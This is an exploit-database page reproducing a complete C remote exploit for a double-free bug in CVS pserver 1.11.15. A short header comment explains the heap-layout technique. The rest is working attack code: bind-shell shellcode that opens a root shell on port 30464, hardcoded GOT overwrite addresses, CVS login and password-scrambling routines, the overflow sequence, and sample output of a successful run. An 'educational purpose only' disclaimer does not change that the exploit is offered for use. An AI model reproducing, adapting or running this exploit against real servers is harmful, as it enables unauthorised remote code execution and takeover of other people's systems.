Lucene search
K

Remote CVS <= 1.11.15 (error_prog_name) Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Remote CVS 1.11.15 error_prog_name double free vuln exploi

Code

                                                /* Remote CVS &#60;= 1.11.15 exploit for the error_prog_name double free vuln. 
* 
* by Gyan Chawdhary, [email protected] 
* 
* Vulnerability Description: 
* 
* The Vulnerability lies in the serve_argumentx function. The Argumentx 
command 
* parameter is used to append data to a previously supplied Argument 
command. 
* These data pointers are stored in the argument_vector array. The 
* serve_argumentx fails to check wether an Argument command is present in 
the 
* argument_vector and may append data to a pointer that should not get 
* touched at all, in our case the *error_prog_name string. The function 
calls 
* realloc to create space for the new string. Because realloc will be called 
* to store strlen(error_prog_name) + strlen(somedata) the original chunk 
which 
* just stores error_prog_name will get freed. This free chunk will once 
again 
* get freed after we disconnect from the CVS pserver. 
* 
* Theory: 
* 
* Sucessful exploitation depends heavily on a specific heap layout to be 
met. 
* The argument_vector is initialized for holding 3 ptrs. If more space is 
* required it will call realloc. The error_prog_name string resides right 
* after the argument_vector chunk. 
* 
* |11| arg_vector |11| error_prog_name |109| some chunk 
* 
* address of error_prog_name is stored in the argument_vector[0]. 
* 
* To achive sucessfull exploitation the following steps are performed. 
* 
* 1) Send Argumentx command with a large argument to reallocate 
error_prog_name 
* + large command on top of the heap. This will free the original 
* error_prog_name buffer. 
* 
* 2) Send 50 Argument calls which will require the argument_vector array to 
be 
* reallocated freeing the current buffer. We keep this a high number to get 
* mem from the top itself and to make the exploit reliable. As both the 
* original the arg_vector & err_prg_name buffers are free they are 
* consolidated. Also we supply our fake chunk and shellcode in this call. 
* 
* 3) Send an argument command with the size & prevsize as its arguments. 
This 
* will now be stored in arg_vector & err_prg_name consolidated buffer. 
* 
* 4) Once we close the connection free will be called on the error_prog_name 
* string which will read our fake size & prev_size fields pointing to the 
fake 
* chunk , executing our shellcode. 
* 
* Phew !!!! 
* 
* NOTES: Iv tried this exp on RH 8 with glibc 2.3.*. This exp did NOT work 
on 
* my slack 8.0 cause of glibc 2.2 which creates a very different heap 
layout. 
* Also some tweaking will be required to use this exploit remotely as 
sometimes 
* the overwritten GOT does not execute due to early drop in the connection 
.. 
* Please someone figure it out n mail me :) .. 
* 
* Now the exploit 
* 
* FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL 
* PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR 
* EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL 
PURPOSE * 
* Greets: jp - for his cool paper on advanced malloc exploits, and the 
heapy.so 
* jaguar@felinemenace - We at ... :P 
* 
* cya 
* 
* Gyan 
*/ 

#include &#60;stdio.h&#62; 
#include &#60;stdlib.h&#62; 
#include &#60;unistd.h&#62; 
#include &#60;string.h&#62; 

#include &#60;sys/socket.h&#62; 
#include &#60;sys/types.h&#62; 
#include &#60;netinet/in.h&#62; 

char shellcode[] = 
&#34;xebx18&#34; 
&#34;AAAAAAAAAAAAAAAAAAAAAAAA&#34; 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;x31xdb&#34; // xorl %ebx,%ebx 
&#34;x31xc9&#34; // xorl %ecx,%ecx 
&#34;x31xd2&#34; // xorl %edx,%edx 
&#34;xb0x66&#34; // movb $0x66,%al 
&#34;xb3x01&#34; // movb $0x1,%bl 
&#34;x51&#34; // pushl %ecx 
&#34;xb1x06&#34; // movb $0x6,%cl 
&#34;x51&#34; // pushl %ecx 
&#34;xb1x01&#34; // movb $0x1,%cl 
&#34;x51&#34; // pushl %ecx 
&#34;xb1x02&#34; // movb $0x2,%cl 
&#34;x51&#34; // pushl %ecx 
&#34;x8dx0cx24&#34; // leal (%esp),%ecx 
&#34;xcdx80&#34; // int $0x80 

/* port is 30464 !!! */ 
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */ 
&#34;xb3x02&#34; // movb $0x2,%bl 
&#34;xb1x02&#34; // movb $0x2,%cl 
&#34;x31xc9&#34; // xorl %ecx,%ecx 
&#34;x51&#34; // pushl %ecx 
&#34;x51&#34; // pushl %ecx 
&#34;x51&#34; // pushl %ecx 
/* port = 0x77, change if needed */ 
&#34;x80xc1x77&#34; // addb $0x77,%cl 
&#34;x66x51&#34; // pushl %cx 
&#34;xb1x02&#34; // movb $0x2,%cl 
&#34;x66x51&#34; // pushw %cx 
&#34;x8dx0cx24&#34; // leal (%esp),%ecx 
&#34;xb2x10&#34; // movb $0x10,%dl 
&#34;x52&#34; // pushl %edx 
&#34;x51&#34; // pushl %ecx 
&#34;x50&#34; // pushl %eax 
&#34;x8dx0cx24&#34; // leal (%esp),%ecx 
&#34;x89xc2&#34; // movl %eax,%edx 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;xb0x66&#34; // movb $0x66,%al 
&#34;xcdx80&#34; // int $0x80 

/* listen(fd, 1) */ 
&#34;xb3x01&#34; // movb $0x1,%bl 
&#34;x53&#34; // pushl %ebx 
&#34;x52&#34; // pushl %edx 
&#34;x8dx0cx24&#34; // leal (%esp),%ecx 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;xb0x66&#34; // movb $0x66,%al 
&#34;x80xc3x03&#34; // addb $0x3,%bl 
&#34;xcdx80&#34; // int $0x80 

/* cli = accept(fd, 0, 0) */ 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;x50&#34; // pushl %eax 
&#34;x50&#34; // pushl %eax 
&#34;x52&#34; // pushl %edx 
&#34;x8dx0cx24&#34; // leal (%esp),%ecx 
&#34;xb3x05&#34; // movl $0x5,%bl 
&#34;xb0x66&#34; // movl $0x66,%al 
&#34;xcdx80&#34; // int $0x80 

/* dup2(cli, 0) */ 
&#34;x89xc3&#34; // movl %eax,%ebx 
&#34;x31xc9&#34; // xorl %ecx,%ecx 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;xb0x3f&#34; // movb $0x3f,%al 
&#34;xcdx80&#34; // int $0x80 

/* dup2(cli, 1) */ 
&#34;x41&#34; // inc %ecx 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;xb0x3f&#34; // movl $0x3f,%al 
&#34;xcdx80&#34; // int $0x80 

/* dup2(cli, 2) */ 
&#34;x41&#34; // inc %ecx 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;xb0x3f&#34; // movb $0x3f,%al 
&#34;xcdx80&#34; // int $0x80 

/* execve(&#34;//bin/sh&#34;, [&#34;//bin/sh&#34;, NULL], NULL); */ 
&#34;x31xdb&#34; // xorl %ebx,%ebx 
&#34;x53&#34; // pushl %ebx 
&#34;x68x6ex2fx73x68&#34; // pushl $0x68732f6e 
&#34;x68x2fx2fx62x69&#34; // pushl $0x69622f2f 
&#34;x89xe3&#34; // movl %esp,%ebx 
&#34;x8dx54x24x08&#34; // leal 0x8(%esp),%edx 
&#34;x31xc9&#34; // xorl %ecx,%ecx 
&#34;x51&#34; // pushl %ecx 
&#34;x53&#34; // pushl %ebx 
&#34;x8dx0cx24&#34; // leal (%esp),%ecx 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;xb0x0b&#34; // movb $0xb,%al 
&#34;xcdx80&#34; // int $0x80 

/* exit(%ebx) */ 
&#34;x31xc0&#34; // xorl %eax,%eax 
&#34;xb0x01&#34; // movb $0x1,%al 
&#34;xcdx80&#34;; // int $0x80 

void login(char *, char *, char *); 

struct           sockaddr_in s; 
int             sock; 

void xp_connect(char *ip) 
{ 
        char buffer[1024]; 
        char temp[1024]; 
        int tmp; 

        s.sin_family = AF_INET; 
        s.sin_port = htons(2401); 
        s.sin_addr.s_addr = inet_addr(ip); 

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) &#60; 0) 
        { 
                printf(&#34;Cannot create socketn&#34;); 
                exit(-1); 
        } 

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) &#60; 
0) 
        { 
                printf(&#34;Cannot connect()n&#34;); 
                exit(-1); 
        } 
} 

void xp_write(char *data) 
{ 

if(write (sock, data, strlen(data)) &#60; 0) 
{ 
printf(&#34;write() failedn&#34;); 
exit(-1); 
} 
} 

void xp_receive() 
{ 
int tmp; 
char buffer[1024*2]; 

if ( (tmp = read(sock, buffer, sizeof(buffer))) &#60;= 0) 
{ 
printf(&#34;read() failedn&#34;); 
exit(-1); 
} 
printf(&#34;%s&#34;, buffer); 
} 




#define GOT_MEMCPY 0x80d2b4a 
#define SHELL_ADDR 0x080cda20 

char *egg(unsigned int what, unsigned int where) 
{ 
        char *ptr, *buf; 
        int i=0; //dummy = 0xfffffffc; 
        int size = strlen(shellcode); 

        // Will contain our fake chunk supplided with our fd & bk fields, 
        // addr of shellcode & got addr - 8 of free(). We will also try to 
        // stuff in our shellcode in the same buffer as I dont have enough 
        // gdb patience/time   to find nother controlable buffer :P 
        buf = (char *)malloc(1250); 
        ptr = buf; 

        for (;i&#60;1248;) { 

        *( (int **)ptr ) = (int *)( where - 8 ); 
        ptr+=4; 
        *( (int **)ptr ) = (int *)( what ); 
        ptr+=4; 

        i+=8; 
        } 
        buf[1250] = &#39;&#39;; 
        ptr -= size; 
strcpy(ptr, shellcode); 
        ptr = buf; 
        return ptr; 

} 

unsigned char shifts[] = { 
      0,   1,   2,   3,   4,   5,   6,   7,   8,   9, 10, 11, 12, 13, 14, 15, 
      16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 
      114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, 
      111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, 
      41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, 
      125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, 
      36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, 
      58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, 
      225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, 
      199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, 
      174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, 
      207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, 
      192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, 
      227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, 
      182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, 
      243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 }; 

char   *scramble(char * str) 
{ 
    int                 i; 
    char                 * s; 

    s = (char *) malloc (strlen (str) + 3); 
    memset(s, &#39;&#39;, strlen(str) + 3); 
    *s = &#39;A&#39;; 
    for (i = 1; str[i - 1]; i++) 
    s = shifts[(unsigned char)(str[i - 1])]; 
    return (s); 
} 

#define LOGIN &#34;BEGIN AUTH REQUESTn/home/cvsrootn%sn%snEND AUTH 
REQUESTn&#34; 
#define REQUEST &#34;Root %sn&#34; 

void login(char *login, char *password, char *repo) 
{ 
char *buf, *ptr, reply[1024]; 
char *rep, *rp; 
buf = (char *)malloc(1024); 
rep = (char *)malloc(512); 

ptr = buf; 
rp = rep; 
sprintf(ptr, LOGIN, login, scramble(password)); 
sprintf(rp, REQUEST, repo); 

ptr = buf; 

xp_write(ptr); /* login request */ 
xp_receive(); 
xp_write(rp); /* root dir request */ 


} 

char argumentx[] = &#34;Argumentx %sn&#34;; 
char argument[] =   &#34;Argument %sn&#34;; 
char trash[] = &#34;FCUK&#34;; 
char str[] = &#34;Argument x42x42x42x42x6exffxffxffx1cxfcxffxff&#34; 
    &#34;xf0xffxffxffx41x41n&#34;; 

void overflow() 
{ 
  char *data, *dptr, *buf, *bufp, *eg, *arg, *aptr; 
int i; 
data = (char *)malloc(111111); 
dptr = data; 
buf = (char *)malloc(111111+20); 
bufp = buf; 
arg = (char *)malloc(1500); 
aptr = arg; 


memset(dptr, &#39;x41&#39;, 111111); 
sprintf(bufp, argumentx, data); 
xp_write(bufp); 

eg = egg(0x80d2b4a, 0x080cda20); 
sprintf(aptr, argument, eg); 

for (i=0 ; i&#60;50; i++) 
xp_write(aptr); 

xp_write(str); 
xp_write(trash); 
} 



void usage(char *name) 
{ 
printf(&#34;CVS &#60;= 1.11.15 Argumentx double free() remote exploit by Gyan&#34; 
      &#34;Chawdhary ([email protected])n&#34; 
              &#34;Usage: %s &#60;options&#62;n&#34; 
      &#34;-i &#60;target IP address&#62;n&#34; 
      &#34;-l &#60;login&#62;n&#34; 
      &#34;-p &#60;password&#62;n&#34; 
      &#34;-r &#60;repository path&#62;nn&#34;, name); 
} 



main(int argc, char **argv) 
{ 
int c; 
char ip[16], user[32], pass[32], rep[512]; 

ip[0] = 0; 
user[0] = 0; 
pass[0] = 0; 
rep[0] = 0; 

if (argc &#60; 2) { 
usage(argv[0]); 
exit(0); 
} 

while ((c = getopt(argc, argv, &#34;h::l:p:i:r:&#34;)) != -1) { 

switch(c) { 

case &#39;h&#39;: 
usage(argv[0]); 
exit(0); 
case &#39;i&#39;: 
strncpy(ip, optarg, sizeof(ip)); 
break; 
case &#39;l&#39;: 
strncpy(user, optarg, sizeof(user)); 
break; 
case &#39;p&#39;: 
strncpy(pass, optarg, sizeof(pass)); 
break; 
case &#39;r&#39;: 
strncpy(rep, optarg, sizeof(rep)); 
break; 
} 
} 

if(ip) { 
printf(&#34;Connecting to vulnerable CVS server ...&#34;); 
xp_connect(ip); 
printf(&#34;OKn&#34;); 
} 

        printf(&#34;Logging in ...&#34;); 
        login(user, pass, rep); 
printf(&#34;OKn&#34;); 

      printf(&#34;Exploiting the CVS error_prog_name double free now ...&#34;); 
      overflow(); 
      printf(&#34;DONEn&#34;); 
      printf(&#34;If everything went well there should be a shell on port 
30464n&#34;); 
} 





//xp_connect(&#34;127.0.0.1&#34;); 
//sleep(20); 
//login(&#34;gyan&#34;, &#34;gyan&#34;); 
//overflow(shellcode); 

/* 

[root@ill crazy]# ./free -i 127.0.0.1 -l gyan -p gyan -r /home/cvsroot 
Connecting to vulnerable CVS server ...OK 
Logging in ...I LOVE YOU 
OK 
Exploiting the CVS error_prog_name double free now ...DONE 
If everything went well there should be a shell on port 30464 
[root@ill crazy]# telnet 127.0.0.1 30464 
Trying 127.0.0.1... 
Connected to localhost.localdomain (127.0.0.1). 
Escape character is &#39;^]&#39;. 

*/ 

// milw0rm.com [2004-08-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22